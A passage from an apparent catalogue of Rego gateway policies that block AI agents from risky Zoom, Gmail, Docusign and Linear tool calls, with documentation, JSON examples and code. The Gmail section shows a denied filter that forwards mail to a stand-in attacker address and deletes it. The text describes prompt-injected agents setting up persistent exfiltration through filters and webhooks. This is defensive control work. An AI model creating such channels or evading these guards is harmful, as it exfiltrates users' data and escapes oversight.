false`, reason names the external-domain problem and the remediation. ### Denied — history-visible channel invites an outside domain ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "zoom-team-chat-zoom_chat_channel_create", "type": "tool" }, "payload": { "name": "zoom-team-chat-zoom_chat_channel_create", "args": { "channel_name": "deal-room", "new_members_can_see_previous_messages_and_files": true, "user_email_list": ["partner@vendor-example.net"] } } } } ``` `allow = false`. Creating the same channel with the flag off, or with only internal invitees, is allowed. ## Composition This policy is single-purpose. Useful companions: - `guard-chat-sends` (PF-16 / candidate 6) denying `*zoom_chat_message_send` / `*zoom_chat_message_update` whose body carries secrets — this policy governs *who* is in the channel, not *what* is posted to it. - `constrain-aggregator` (PF-14) fencing the workspace `search_zoom` fan-out so the agent cannot pull external CRM/HR data into a chat it just opened. - A `default-deny-unknown-tools` (PF-28) allowlist policy so a Team Chat write tool with an unanticipated name cannot slip past suffix matching. ## Known limitations - **`zoom_chat_channel_create` invitee field is unverified.** The Team Chat child skill lists `channel_name`, `channel_type`, `post_message_permission`, `mention_all_permission`, and `new_members_can_see_previous_messages_and_files` for channel creation but does **not** publish the invited-members field. This policy assumes create carries invitees under the same `user_email_list` key as `zoom_chat_channel_members_add`; if your Team Chat server names it differently, the external-invitee check on create will not fire (the `new_members_can_see_previous_messages_and_files` flag itself is still read as documented). Verify the field with the dump-input technique and add its key to the address extraction if it differs. - **`zoom_chat_channel_update` membership semantics are inferred.** The Team Chat child skill lists `channelId` and `user_email_list` for both `channel_update` and `channel_members_add`, so this policy treats a `channel_update` carrying `user_email_list` as a member-add path and guards it with the same external-domain / fail-closed rules. If your Team Chat server's `channel_update` does **not** add members from `user_email_list` (e.g. it only renames), the guard is a conservative no-op for metadata-only updates and only fires when external addresses are present. Verify with the dump-input technique. - **History-off channel creation with external invitees still passes.** `channel_create` is only denied when `new_members_can_see_previous_messages_and_files` is true; a brand-new channel that invites an external address with the flag off is allowed (a new channel has no prior history to expose). If you need to block external invitees on *any* channel creation, extend the create allow rules to require `not has_external_address` unconditionally. - **History-exposure flag coercion is fail-closed for string values.** The flag is treated as enabled when it is the boolean `true`, a non-zero number, or **any string that is not an explicit off-token**. The off-tokens (read as disabled, case-insensitive, trimmed) are `""`, `"false"`, `"0"`, `"no"`, `"off"`, `"disabled"`, `"none"`, and `"null"`. Every other string — including `"true"`, `"1"`, `"yes"`, and exotic truthy forms a downstream API might honor such as `"on"`, `"enabled"`, or `"y"` — enables the guard, so a client cannot slip an external, history-visible channel past it by picking a non-canonical truthy encoding. If your Team Chat server treats one of the listed off-tokens as truthy, remove it from the off-token set. - **`zoom_chat_contact_add` is blocked wholesale.** Its invitee argument shape is not documented, so the tool is denied outright rather than filtered by domain — including internal-only contact adds. If your team needs a sanctioned path, add a companion `allow if` branch gated on an IdP group claim. - **Suffix domain matching allows all subdomains.** Any subdomain of an allowlisted domain is treated as internal. If a subdomain is operated by a third party, list only the specific corporate subdomains rather than the apex domain. - **Placeholders.** The domain allowlist entries (`example.com`, `example.org`) are placeholders — replace them with your corporate domains at import time. - **No identity-based exemptions.** All callers are subject to the same checks. If you need an InfoSec break-glass user that may invite external parties, gate it with `input.subject.claims` as a separate `allow if` branch. > **Compliance note.** This policy supports alignment with the cited framework > controls **on the MCP path only**. No policy or bundle makes an organization > compliant with any framework; web-UI, native-API, and in-app access are > outside the gateway's reach by design. Validate against your own compliance > program before relying on it. ```rego package zoom.ingress.guard_external_chat_invites # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # Corporate email domain allowlist — PLACEHOLDER values. Replace with your # organization's real domains at import time. Matching is a label-boundary # suffix match, so subdomains of these (e.g. eu.example.com) are internal too. allowed_domains := { "example.com", "example.org", } # Tool arguments, defaulting safely when payload/args are missing entirely. args := object.get(object.get(input, "payload", {}), "args", {}) # Tool-name candidates: the PARC resource.name plus the (deprecated but still # populated on tool hooks) payload.name alias, both lowercased. A tool is # matched if EITHER carries the suffix. Keying only on resource.name would fail # OPEN for a call whose resource.name is absent — the guard would be undefined # and the passthrough `allow if not is_guarded_tool` would permit it. Checking # both fields (same value on tool_pre_invoke) closes that gap at no cost. tool_names contains lower(name) if { name := object.get(object.get(input, "resource", {}), "name", "") name != "" } tool_names contains lower(name) if { name := object.get(object.get(input, "payload", {}), "name", "") name != "" } # --- Guarded tools, matched case-insensitively by suffix (Zoom Team Chat # prefixes every tool with zoom_chat_; the gateway adds a server-name prefix). --- is_contact_add if { some name in tool_names endswith(name, "zoom_chat_contact_add") } is_members_add if { some name in tool_names endswith(name, "zoom_chat_channel_members_add") } # zoom_chat_channel_update carries the SAME channelId + user_email_list argument # signature as zoom_chat_channel_members_add (per the Zoom Team Chat child skill), # so it is a second membership-mutation path: an agent blocked from members_add # can add external addresses via channel_update instead. Guard it identically — # deny only when user_email_list introduces an external/unparseable address; a # metadata-only update (no user_email_list, or internal-only) still passes. is_channel_update if { some name in tool_names endswith(name, "zoom_chat_channel_update") } is_channel_create if { some name in tool_names endswith(name, "zoom_chat_channel_create") } is_guarded_tool if is_contact_add is_guarded_tool if is_members_add is_guarded_tool if is_channel_update is_guarded_tool if is_channel_create # Pass through everything that is not one of the four guarded invite tools — # all other zoom_chat_* tools and every non-chat Zoom tool. allow if { not is_guarded_tool } # zoom_chat_contact_add has no allow rule: it is denied outright. # zoom_chat_channel_members_add: allow only when the address list is not # malformed and contains no external address. An absent user_email_list yields # no external address, so it passes (nothing is being added externally). allow if { is_members_add not malformed_email_list not has_external_address } # zoom_chat_channel_update: same rule as members_add — allow only when the # address list is not malformed and contains no external address. A metadata-only # update (no user_email_list) yields no external address, so it passes. allow if { is_channel_update not malformed_email_list not has_external_address } # zoom_chat_channel_create: allow when history is not being exposed to new # members (the retroactive-exposure flag is off). allow if { is_channel_create not see_previous_enabled } # zoom_chat_channel_create with history exposure on: allow only when the invitee # list is not malformed and contains no external address. allow if { is_channel_create see_previous_enabled not malformed_email_list not has_external_address } # --- new_members_can_see_previous_messages_and_files. Fail-closed against value # coercion: a client may send the flag as a bool, a stringified bool ("true"), # a stringified/integer 1, or "yes". Any of these truthy encodings enables the # history-exposure guard so a non-canonical truthy value cannot slip past it. --- see_previous_enabled if { object.get(args, "new_members_can_see_previous_messages_and_files", false) == true } # String forms: fail-closed. Any string that is not an explicit falsy token is # treated as ENABLED, so a client that sends the flag as "on"/"enabled"/"y" (or # any other truthy encoding a downstream API might honor) cannot slip an external, # history-visible channel past the guard. Only the explicit off-tokens below read # as disabled. see_previous_enabled if { v := object.get(args, "new_members_can_see_previous_messages_and_files", false) is_string(v) not lower(trim_space(v)) in {"", "false", "0", "no", "off", "disabled", "none", "null"} } # Numeric truthy form: any non-zero number (e.g. 1), since some clients coerce a # boolean flag to an integer. see_previous_enabled if { v := object.get(args, "new_members_can_see_previous_messages_and_files", false) is_number(v) v != 0 } # --- Address extraction from user_email_list --- # Array shape: user_email_list is an array of entries. addresses contains addr if { value := object.get(args, "user_email_list", []) is_array(value) some addr in value } # String shape: a single address or a comma/semicolon-separated list. addresses contains addr if { value := object.get(args, "user_email_list", "") is_string(value) some part in regex.split(`[,;]`, value) addr := trim_space(part) addr != "" } # user_email_list is present but neither a string nor an array (e.g. an object # or number) — it cannot be parsed, so treat the call as unverifiable. malformed_email_list if { value := object.get(args, "user_email_list", null) value != null not is_string(value) not is_array(value) } # Domain of one address entry. Conservative: the entry must be a string with # exactly one "@". Entries with zero or several "@" signs yield no domain, so # is_internal fails and the entry is treated as external. address_domain(addr) := domain if { is_string(addr) parts := split(lower(trim_space(addr)), "@") count(parts) == 2 # Strip a trailing ">" (and stray spaces) from a "Name " form. domain := trim(parts[1], "> ") } # Label-boundary suffix match: exact domain, or a subdomain of an allowlisted # domain. The boundary stops look-alikes (evilexample.com vs example.com). domain_internal(domain) if { allowed_domains[domain] } domain_internal(domain) if { some d in allowed_domains endswith(domain, concat("", [".", d])) } is_internal(addr) if { domain_internal(address_domain(addr)) } has_external_address if { some addr in addresses not is_internal(addr) } # --- Deny reasons --- reasons contains "Team Chat contact invitations are blocked because they can be addressed to external email accounts. Do not use zoom_chat_contact_add; add people who already have accounts to a channel instead, or ask your InfoSec team to invite an external contact if this collaboration is sanctioned." if { is_contact_add } reasons contains "One or more addresses in user_email_list are outside the corporate domain allowlist, so this Team Chat channel member add is blocked. Remove the external addresses, or ask your InfoSec team to add the domain to the allowlist if this external collaboration is sanctioned." if { is_members_add has_external_address } reasons contains "user_email_list is present but is not a readable list of email addresses, so this Team Chat channel member add is blocked (fail-closed). Pass user_email_list as an array of email address strings. Contact your InfoSec team if this is a false positive." if { is_members_add malformed_email_list } reasons contains "One or more addresses in user_email_list are outside the corporate domain allowlist, so this Team Chat channel update is blocked (channel updates can add members the same way channel_members_add does). Remove the external addresses, or ask your InfoSec team to add the domain to the allowlist if this external collaboration is sanctioned." if { is_channel_update has_external_address } reasons contains "user_email_list is present but is not a readable list of email addresses, so this Team Chat channel update is blocked (fail-closed). Pass user_email_list as an array of email address strings, or omit it for a metadata-only update. Contact your InfoSec team if this is a false positive." if { is_channel_update malformed_email_list } reasons contains "This channel is being created with new_members_can_see_previous_messages_and_files enabled while one or more invited addresses are outside the corporate domain allowlist, which would expose prior messages and files to external people. Turn that setting off, remove the external invitees, or ask your InfoSec team to approve the external domain." if { is_channel_create see_previous_enabled has_external_address } reasons contains "This channel enables new_members_can_see_previous_messages_and_files but user_email_list is not a readable list of email addresses, so it is blocked (fail-closed) to avoid exposing channel history to unverifiable invitees. Pass user_email_list as an array of email address strings, or turn that setting off. Contact your InfoSec team if this is a false positive." if { is_channel_create see_previous_enabled malformed_email_list } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Block Gmail Filter Creation (Auto-Forward Persistence) URL: https://www.intentbasedpolicy.com/policies/gmail/guard-mailbox-persistence App(s): gmail | Direction: ingress | Bundles: soc2 | Package: gmail.ingress.guard_mailbox_persistence | Published: 2026-07-12 | Tags: gmail, guard-mailbox-persistence, ingress, bec, finserv-comms, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/gmail/guard-mailbox-persistence/policy.md # gmail / guard-mailbox-persistence **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `gmail.ingress.guard_mailbox_persistence` ## What it does Blocks the classic BEC/exfiltration persistence primitive: Gmail filters that can auto-forward or auto-delete mail and outlive the agent session. A compromised or prompt-injected agent that creates one malicious filter keeps exfiltrating (or destroying) mail long after the session ends — invisible to the user until they audit their filter list. Concretely, the policy: - **Denies all filter creation** — `create_filter` and `create_filter_from_template` (GongRzhe Gmail-MCP-Server), which take `criteria` + `action` objects capable of expressing forward-and-delete rules. - **Restricts `manage_gmail_filter`** (taylorwilsdon google_workspace_mcp, a single tool multiplexing filter CRUD via an `action` argument) to the read-only actions `"list"` and `"get"`. Any other action — `create`, `update`, `delete`, or anything unrecognized — is denied. - **Fails closed** for `manage_gmail_filter` when the `action` argument is missing or not a string: an unclassifiable filter mutation is exactly the drift this policy exists to stop. - **Passes filter reads untouched** — `list_filters`, `get_filter` (GongRzhe) and `list_gmail_filters` (taylorwilsdon) are dedicated read-only tools and are not matched. There is **no group exemption by default** — filter management belongs in the Gmail admin UI, not in an agent session, and the deny reason says so with an escalation hint. ## Compliance alignment - **SOC 2 CC6.7** — supports the restriction on transmission/movement of information: a Gmail filter with an auto-forward action silently relays inbound mail outside the organization's boundary, so blocking agent-side filter creation closes that unattended exfiltration channel on the MCP path. - **SOC 2 PI1.5** — supports integrity of stored records: a filter with a delete action destroys inbound messages prospectively; denying agent-side filter creation keeps the mailbox record set intact. - **SEC 17a-4(b) / FINRA 4511(c)** — record integrity / anti-destruction: a Gmail filter with a delete action destroys inbound records prospectively and silently; blocking agent-side filter creation supports keeping the mailbox record set intact on the MCP path (coverage matrix §2.6, family PF-17, coverage **E**). This policy carries the **`soc2`** framework bundle (CC6.7 / PI1.5, above). Beyond that, the coverage matrix also maps the `guard-mailbox-persistence` family to SEC 17a-4 / FINRA 4511 (finserv record-integrity), which sits outside the five launch bundles — import it directly where BEC persistence or finserv record-integrity risk is in scope. ## Tool name matching The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `gmail-mcp-create_filter`), and that prefix is not standardized, so the policy matches on the suffix: - `*create_filter` / `*create-filter` — denied - `*create_filter_from_template` / `*create-filter-from-template` — denied - `*manage_gmail_filter` / `*manage-gmail-filter` — denied unless `action` is `"list"` or `"get"` Hyphenated variants are matched defensively in case a server or gateway normalizes underscores. Matching is case-insensitive. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape Only `manage_gmail_filter` has its arguments inspected: - `input.payload.args.action` — string; `"list"` and `"get"` (case-insensitive) are the only values allowed through. Read via `object.get`, so a missing key, a non-string value, or a missing/ malformed `args` object all fall through to the default deny (fail closed). `create_filter` / `create_filter_from_template` are denied at the tool level regardless of arguments, so their `criteria` / `action` sub-fields are never inspected. ## Examples ### Allowed — dedicated filter read ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "gmail-mcp-list_filters", "type": "tool" }, "payload": { "name": "gmail-mcp-list_filters", "args": {} } } } ``` `allow = true`, no reason. ### Allowed — read-only action on the manage tool ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "workspace-mcp-manage_gmail_filter", "type": "tool" }, "payload": { "name": "workspace-mcp-manage_gmail_filter", "args": { "user_google_email": "user@example.com", "action": "list" } } } } ``` `allow = true`, no reason. ### Denied — filter creation ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "gmail-mcp-create_filter", "type": "tool" }, "payload": { "name": "gmail-mcp-create_filter", "args": { "criteria": { "from": "finance@example.com" }, "action": { "forward": "attacker@evil.example", "delete": true } } } } } ``` `allow = false`, `reason = "Creating Gmail filters through the agent is blocked (...)"`. ## Composition This policy is single-purpose: it guards the filter *mutation* surface. Useful companions: - **`apps/gmail/freeze-destructive-ops`** — owns denial of the dedicated destructive tools, including `delete_filter` and the permanent `delete_email` / `batch_delete_emails`. (This policy still denies `manage_gmail_filter` with `action: "delete"`, since any non-read action on that tool is a filter mutation — the overlap is deliberate defense in depth.) - A Gmail external-send guard (family `guard-external-send`) — filters are the *persistent* forwarding channel; direct `send_email` / `send_gmail_message` calls are the immediate one. ## Known limitations - **`criteria` / `action` sub-field names are unverified** per the Gmail landscape note (GongRzhe's README documents the objects but not their exact sub-fields). This does not weaken enforcement — creation is denied at the tool level without inspecting those objects — but it is why the policy makes no attempt to allow "harmless" filters selectively. - **`delete_filter` is not matched here** — its denial is owned by the companion `freeze-destructive-ops` policy. Deploy both. (This policy intentionally passes `delete_filter` through — do not read that as permission; it is scope delegation.) - **The `action` dispatch key and the `get` read value are inferred from the landscape note, not fully verified.** The note attests `manage_gmail_filter`'s `action` values `"list"` and `"delete"`; this policy also treats `"get"` as read-only (retrieving one filter is no more sensitive than `list_gmail_filters`), which is marginally more permissive than the coverage-matrix PF-17 candidate's `list`-only allowance (§2.6). Both allowed values are reads, so this is not a mutation bypass. Critically, if a server dispatches on a different key than `action`, or uses a different read value, the `object.get(args, "action", "")` chain yields `""` and the manage tool fails **closed** (denied) — the inference can only ever over-block, never leak. - **The official Google/Claude Gmail connector exposes no filter tools at all** — on that surface this policy is a no-op. It protects tenants running community servers (GongRzhe, taylorwilsdon), where the filter surface silently appears when a tenant switches connectors. - **No webhook/subscription surface** — none of the three surveyed Gmail MCP servers exposes Gmail `watch`/Pub/Sub subscriptions; the `guard-mailbox-persistence` family covers that vector on M365 (`create-mail-rule`, `create-subscription`) instead. - **No identity-based exemption by default** — deliberate, as filter management belongs in the Gmail admin UI. If your organization needs a break-glass group, add a separate `allow if` branch gated on `input.subject.claims.groups`; group names there would be placeholders — replace them with your IdP's group names at import time. - **Suffix matching is a portability trade-off** — a server exposing filter creation under an entirely different name (not ending in the suffixes above) would not be matched. Pair with a `default-deny-unknown-tools` allowlist policy where tool-name drift is a concern. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package gmail.ingress.guard_mailbox_persistence # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # Gmail filter-creation tools (GongRzhe Gmail-MCP-Server): create_filter and # create_filter_from_template take criteria + action objects that can express # auto-forward / auto-delete rules — the classic BEC persistence primitive. # The gateway prefixes tool names with the configured MCP server name, so we # match on the suffix to stay portable; hyphenated variants are included in # case a server or gateway normalizes underscores. Verify the exact names on # your gateway with the dump-input debug technique. filter_create_suffixes := { "create_filter", "create-filter", "create_filter_from_template", "create-filter-from-template", } is_filter_create_tool if { name := lower(input.resource.name) some suffix in filter_create_suffixes endswith(name, suffix) } # taylorwilsdon google_workspace_mcp multiplexes filter CRUD through a single # manage_gmail_filter tool selected by an `action` argument. filter_manage_suffixes := { "manage_gmail_filter", "manage-gmail-filter", } is_filter_manage_tool if { name := lower(input.resource.name) some suffix in filter_manage_suffixes endswith(name, suffix) } # Read-only actions permitted on the manage tool. Everything else — create, # update, delete, or anything unrecognized — is a filter mutation. filter_read_actions := {"list", "get"} # Safe argument access: a missing payload or args never raises, it just # yields an empty object and the checks below fall through to the deny. args := object.get(object.get(input, "payload", {}), "args", {}) manage_action := object.get(args, "action", "") # The manage call is read-only iff `action` is a string equal to list/get. # A missing or non-string `action` fails this rule, so an unclassifiable # filter mutation falls through to the default deny (fail closed) — that # drift is exactly what this policy exists to stop. manage_action_is_read if { is_string(manage_action) lower(manage_action) in filter_read_actions } # Any tool that is not a filter-mutation surface passes untouched, including # the dedicated filter reads (list_filters, get_filter, list_gmail_filters). allow if { not is_filter_create_tool not is_filter_manage_tool } # The multiplexed manage tool is allowed only for read-only actions. allow if { is_filter_manage_tool manage_action_is_read } reasons contains "Creating Gmail filters through the agent is blocked: a filter can silently auto-forward or auto-delete mail and persists after this session ends. Manage filters in the Gmail settings UI instead. If a filter is legitimately needed, ask your InfoSec team to review this request." if { is_filter_create_tool } reasons contains "This Gmail filter management call is blocked: only the read-only actions 'list' and 'get' are allowed, because filter changes can silently auto-forward or auto-delete mail and persist after this session ends. Manage filters in the Gmail settings UI instead. If a filter change is legitimately needed, ask your InfoSec team to review this request." if { is_filter_manage_tool not manage_action_is_read } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Block Irreversible Docusign Void and Workflow Kills URL: https://www.intentbasedpolicy.com/policies/docusign/freeze-destructive-ops App(s): docusign | Direction: ingress | Bundles: soc2 | Package: docusign.ingress.freeze_destructive_ops | Published: 2026-07-12 | Tags: docusign, freeze-destructive-ops, ingress, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/docusign/freeze-destructive-ops/policy.md # docusign / freeze-destructive-ops **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `docusign.ingress.freeze_destructive_ops` ## What it does Denies the irreversible destructive operations on the Docusign agent path: - **`updateEnvelope` void attempts** — any call whose body carries `status: "voided"`, or that carries a `voidedReason` field at all (that field only exists on void requests, so its presence signals void intent even when the `status` key is missing or obfuscated). Voiding a sent envelope permanently invalidates a legally significant signed record. Non-void `updateEnvelope` calls (sending a draft, editing the email subject or blurb) pass through. - **`cancelWorkflowInstance`** — kills a running Maestro workflow instance. Denied outright. - **`pauseNewWorkflowInstances`** — suspends a workflow for the whole account. The blast radius is far beyond any single agent task. Denied outright. Callers whose `input.subject.claims.groups` include `contract-ops` are exempt from all three blocks, so a designated remediation team can still void an erroneous envelope or stop a runaway workflow through the agent path. Everyone else — including callers with no identity claims at all — is denied (the exemption fails closed). All other tool calls, on Docusign or any other server behind the same gateway, pass through unchanged. ## Compliance alignment - **SOC 2 PI1.5** — supports integrity of stored records: signed envelopes and running workflow state survive agent error or prompt injection. A voided envelope is a destroyed record of an executed agreement, and a killed or account-wide-paused workflow disrupts the state that keeps those records accurate; blocking agent-initiated voids and workflow kills keeps them intact on the MCP path. ## Why ingress and not egress Voiding an envelope and killing a workflow instance are irreversible server-side state changes. Once the call reaches Docusign the record is invalidated and counterparties may already have been notified. Egress inspection would only see the confirmation; ingress denial is the only placement that actually prevents the destruction. ## Tool name matching The policy matches tool names by suffix, case-insensitively, on `input.resource.name`: - `*updateenvelope` — the official server's `updateEnvelope` (Envelopes:update). Suffix matching deliberately does **not** catch `updateEnvelopeRecipients`, which is a different tool with a different risk profile (see Composition). - `*cancelworkflowinstance` — the official server's `cancelWorkflowInstance`. - `*pausenewworkflowinstances` — the official server's `pauseNewWorkflowInstances`. The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `docusign-updateEnvelope` for a server named `docusign`), and that prefix is not standardized, so the policy matches suffixes to stay portable. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. These names come from the official Docusign MCP Server catalog (camelCase, verified against the developer docs as of 2026-02). The community `luthersystems/mcp-server-docusign` server exposes no void or workflow tools, so it has no surface for this policy to guard. ## Argument shape `updateEnvelope` mirrors the eSignature Envelopes:update REST body: `envelopeId` plus body fields such as `status` (`"voided"` to void, `"sent"` to send a draft), `voidedReason`, `emailSubject`, `emailBlurb`. The policy anchors on two signals, both matched case-insensitively against the **top-level keys** of `input.payload.args`: 1. a `status` key whose value (trimmed, lowercased) is `voided`; 2. the presence of a `voidedReason` key with any value, including empty — a legitimate void requires a non-empty `voidedReason`, so a request carrying that key is a void attempt regardless of what the `status` field says. The workflow tools are denied by name alone; their arguments are not inspected. ## Examples ### Allowed — sending a draft envelope ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "docusign-updateEnvelope", "type": "tool" }, "payload": { "name": "docusign-updateEnvelope", "args": { "envelopeId": "abc-123", "status": "sent" } } } } ``` `allow = true`, no reason — not a void attempt. ### Denied — voiding a sent envelope ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "docusign-updateEnvelope", "type": "tool" }, "payload": { "name": "docusign-updateEnvelope", "args": { "envelopeId": "abc-123", "status": "voided", "voidedReason": "sent to wrong signer" } }, "subject": { "sub": "auth0|agent", "claims": { "groups": ["engineering"] } } } } ``` `allow = false`, `reason = "Voiding a Docusign envelope permanently invalidates a legally significant signed record..."`. ### Allowed — contract-ops remediation The same void request with `"claims": { "groups": ["contract-ops"] }` is allowed. ## Composition This policy is single-purpose. Useful companions on the Docusign path: - An ingress transform that rewrites `createEnvelope` `status: "sent"` to `"created"` so agents prepare drafts and humans dispatch them. - An ingress deny on `updateEnvelopeRecipients` / envelope creation when a signer email is outside your counterparty allowlist. - An ingress allowlist for `triggerWorkflow` pinned to approved workflow IDs. - An egress redaction policy on `listRecipients` / `getEnvelope` / `getAgreementDetails` for tab values and extracted terms. ## Known limitations - **Group names are placeholders** — replace `contract-ops` with your IdP's group name at import time. The exemption reads `input.subject.claims.groups` and expects an array; a missing, empty, or string-valued `groups` claim means no exemption (fail closed). - **Official-server argument shapes are inferred from the mapped REST endpoints**, not an MCP schema dump — Docusign does not publish per-tool JSON schemas on a static page. Verify against a live `tools/list` or the dump-input technique before relying on exact field names. - **Only top-level `args` keys are inspected for void signals.** If your MCP server nests the envelope body under a wrapper key (none is documented for the official server), a void could evade the argument check — the two workflow tools are still blocked by name. Extend `is_void_attempt` if you observe a nested shape. (Covered by a test asserting the current pass-through behaviour.) - **Void signals assume string-typed values.** Signal 1 fires only when the `status` value equals `voided` after lowercasing and trimming, so a non-string value (e.g. `status: ["voided"]`) or a non-object `args` payload evades Signal 1. This is **not** an exploitable bypass: the Docusign eSignature REST body requires `status` to be a string, so a malformed shape is rejected server-side and no void occurs, and any well-formed void must carry a non-empty `voidedReason` that Signal 2 detects by key presence regardless of the `status` value's type. If a future server variant coerces such shapes into a real void, broaden Signal 1 accordingly. (Covered by a test asserting the current pass-through behaviour.) - **Void is the only destructive `updateEnvelope` shape this policy detects.** The mapped Envelopes:update endpoint also accepts a document-retention `purgeState` field (e.g. `documents_and_metadata_queued`) that irreversibly purges envelope documents — an irreversible destruction that also falls under the PF-06 anti-destruction scope this policy supports. That field is **not** listed in the verified Docusign landscape note's `updateEnvelope` argument shape, so this policy does **not** key on it (marking it unverified rather than inventing enforcement): a `purgeState` purge carrying no `status: "voided"` and no `voidedReason` currently passes through. If a live `tools/list` confirms `updateEnvelope` exposes `purgeState`, add a third void-detection signal that denies its presence. (Covered by a test asserting the current pass-through behaviour.) - **Non-void `updateEnvelope` edits pass through**, including `status: "sent"` (dispatching a draft emails real recipients). If that is too permissive for your environment, pair with the force-drafts companion above. - **Web UI, native API, Connect webhooks, and admin console are out of reach** — this policy governs only the MCP agent path. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package docusign.ingress.freeze_destructive_ops # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # --- Tool matching --- # The gateway prefixes tool names with the configured MCP server name # (e.g. `docusign-updateEnvelope`), so we match on the suffix to stay # portable. Suffix matching deliberately excludes `updateEnvelopeRecipients`, # which is a different tool. Verify exact names on your gateway with the # dump-input debug technique before relying on this in production. is_update_envelope if { endswith(lower(input.resource.name), "updateenvelope") } is_cancel_workflow if { endswith(lower(input.resource.name), "cancelworkflowinstance") } is_pause_workflows if { endswith(lower(input.resource.name), "pausenewworkflowinstances") } is_guarded_tool if is_update_envelope is_guarded_tool if is_cancel_workflow is_guarded_tool if is_pause_workflows # --- Identity exemption --- # `contract-ops` is a placeholder group name — map it to your IdP group at # import time. Missing subject/claims/groups fails closed: no group, no exemption. caller_groups := object.get(object.get(object.get(input, "subject", {}), "claims", {}), "groups", []) is_contract_ops if { some g in caller_groups lower(sprintf("%v", [g])) == "contract-ops" } # --- Void detection --- # Top-level tool arguments; keys are matched case-insensitively below. args := object.get(object.get(input, "payload", {}), "args", {}) # Signal 1: an explicit `status: "voided"` body (the documented Envelopes:update # void shape), tolerant of key/value casing and stray whitespace. is_void_attempt if { some k in object.keys(args) lower(k) == "status" lower(trim_space(sprintf("%v", [args[k]]))) == "voided" } # Signal 2: a `voidedReason` key with any value (including empty). That field # only exists on void requests, so its presence marks void intent even when # the status key is missing or obfuscated. is_void_attempt if { some k in object.keys(args) lower(k) == "voidedreason" } # --- Allow rules --- # Pass through any tool this policy does not guard. allow if { not is_guarded_tool } # contract-ops members may perform legitimate remediation. allow if { is_guarded_tool is_contract_ops } # Non-void updateEnvelope calls (send draft, subject/blurb edits) pass through. allow if { is_update_envelope not is_void_attempt } # --- Deny reasons --- reasons contains "Voiding a Docusign envelope permanently invalidates a legally significant signed record, so agent-initiated voids are blocked. Prepare a correcting envelope instead, or ask a member of the contract-ops group to perform the void. Contact your administrator if this block looks wrong." if { is_update_envelope is_void_attempt not is_contract_ops } reasons contains "Cancelling a running Docusign Maestro workflow instance is irreversible, so agent-initiated cancellations are blocked. Ask a member of the contract-ops group to cancel the instance from the Docusign console. Contact your administrator if this block looks wrong." if { is_cancel_workflow not is_contract_ops } reasons contains "Pausing new Docusign Maestro workflow instances suspends the workflow account-wide, so agent-initiated pauses are blocked. Ask a member of the contract-ops group to pause the workflow from the Docusign console. Contact your administrator if this block looks wrong." if { is_pause_workflows not is_contract_ops } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Block Linear Webhook Creation URL: https://www.intentbasedpolicy.com/policies/linear/guard-webhook-persistence App(s): linear | Direction: ingress | Bundles: soc2 | Package: linear.ingress.guard_webhook_persistence | Published: 2026-07-12 | Tags: linear, guard-webhook-persistence, ingress, webhook, exfiltration, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/linear/guard-webhook-persistence/policy.md # linear / guard-webhook-persistence **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `linear.ingress.guard_webhook_persistence` ## What it does Unconditionally denies any Linear tool that creates, updates, or deletes a webhook — `linear_createWebhook`, `linear_deleteWebhook`, and update variants. All other Linear tool calls pass through unchanged. A single `linear_createWebhook` call — a callback URL plus an event scope — converts one approved invocation into a permanent, out-of-band feed of workspace events (issues, comments, project updates, customer records) to an arbitrary URL. Once the webhook exists the gateway cannot see or inspect the data flowing through it: it is a standing exfiltration channel that survives the session, the agent, and the pipeline that created it. This is the highest-risk single tool in the Linear landscape. The official Linear MCP server exposes **no** webhook tools at all, so any webhook call reaching the gateway is community-sidecar traffic by definition (the `tacticlaunch/mcp-linear` server, which mirrors the full GraphQL API). Agents have no legitimate reason to stand up, retarget, or tear down a webhook, so this policy is **deny-for-everyone**: there is no group exemption and no role check. A standing exfiltration channel should never be created through an agent path — a compromised or prompt-injected agent gets a hard stop, not a permission ladder to climb. Treat every denial from this policy as a log-and-alert signal, not routine noise. ## Compliance alignment - **SOC 2 CC6.7** — supports the restriction on transmission/movement/removal of information: a webhook is a standing transmission channel that streams workspace records out to an external endpoint continuously and invisibly; blocking its creation on the agent path keeps the agent from opening an uncontrolled data-egress route. - **SOC 2 CC6.6** — supports boundary protection against external threats: the webhook callback delivers workspace events to an arbitrary URL outside the gateway's inspection boundary, so denying webhook creation hardens the boundary the gateway is meant to enforce. - **GDPR Art. 5(1)(f) / Art. 32** — supports security of processing: an agent-created webhook is an uninspectable, unlogged onward feed of personal data (assignee names, customer records, comment bodies) that undermines the integrity and confidentiality of processing. - **GDPR Arts. 44 / 46** — supports control over cross-border/onward transfers on the agent-visible path: a webhook to an arbitrary callback URL is an uncontrolled transfer to an unknown recipient (potentially outside the EEA), which this policy prevents from being established via the agent. ## Tool name matching The policy matches tools case-insensitively by suffix on `lower(input.resource.name)`, in **both** the 